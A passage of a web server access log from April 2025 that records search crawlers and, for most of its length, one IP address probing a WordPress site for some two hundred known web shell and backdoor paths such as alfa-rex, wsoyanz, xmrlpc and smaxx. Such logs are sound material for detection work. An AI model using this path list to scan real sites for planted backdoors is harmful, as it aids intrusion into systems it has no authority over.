7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [28/Apr/2025:10:32:41 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [28/Apr/2025:10:32:47 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 18.191.149.30 - - [28/Apr/2025:10:37:32 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 18.191.149.30 - - [28/Apr/2025:10:37:33 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 192.178.6.73 - - [28/Apr/2025:10:43:58 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.178.6.72 - - [28/Apr/2025:10:43:59 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 15.235.160.194 - - [28/Apr/2025:10:48:57 -0400] "GET /plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 15.235.160.194 - - [28/Apr/2025:10:48:58 -0400] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 40.69.36.254 - - [28/Apr/2025:11:26:19 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:20 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:21 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:22 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:22 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:23 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:23 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:24 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:25 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:25 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:26 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:27 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:28 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:28 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:29 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:29 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:30 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:31 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:31 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:32 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:33 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:34 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:34 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:35 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:36 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:36 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:37 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:38 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:39 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:39 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:40 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:41 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:42 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:42 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:43 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:44 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:44 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:45 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:46 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:46 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:47 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:48 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:49 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:49 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:50 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:51 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:52 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:53 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:55 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:56 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:57 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:57 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:58 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:26:59 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:00 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:01 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:01 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:02 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:03 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:04 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:05 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:06 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:06 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:07 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:08 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:08 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:09 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:09 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:10 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:11 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:12 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:13 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:14 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:15 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:16 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:16 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:17 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:18 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:19 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:20 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:20 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:21 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:21 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:22 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:23 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:23 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:24 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:24 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:25 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:26 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:27 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:28 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:28 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:29 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:29 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:30 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:31 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:32 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:33 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:34 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:34 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:35 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:36 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:37 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:37 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:38 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:38 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:39 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:40 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:41 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:42 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:43 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:43 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:44 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:45 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:46 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:46 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:47 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:48 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:48 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:49 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:50 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:50 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:51 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:52 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:53 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:53 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:54 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:54 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:55 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:56 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:56 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:57 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:57 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:58 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:59 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:27:59 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:00 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:00 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:01 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:02 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:02 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:03 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:04 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:04 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:05 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:05 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:06 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:07 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:07 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:08 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:09 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:10 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:10 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:11 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:11 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:12 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:13 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:14 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:15 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:16 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:17 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:18 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:19 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:19 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:20 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:21 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:21 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:22 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:22 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:23 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:24 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:24 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:25 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:26 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:26 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:27 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:27 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:28 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:29 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:30 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:30 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:31 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:31 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:32 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:33 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:33 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:34 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:35 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:35 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:36 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:37 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:37 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:38 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:38 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:39 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:40 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:40 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:41 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:42 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:42 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:43 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:44 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:44 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:45 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:46 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:47 -0400] "GET /revision.php HTTP/1.1" 301 795 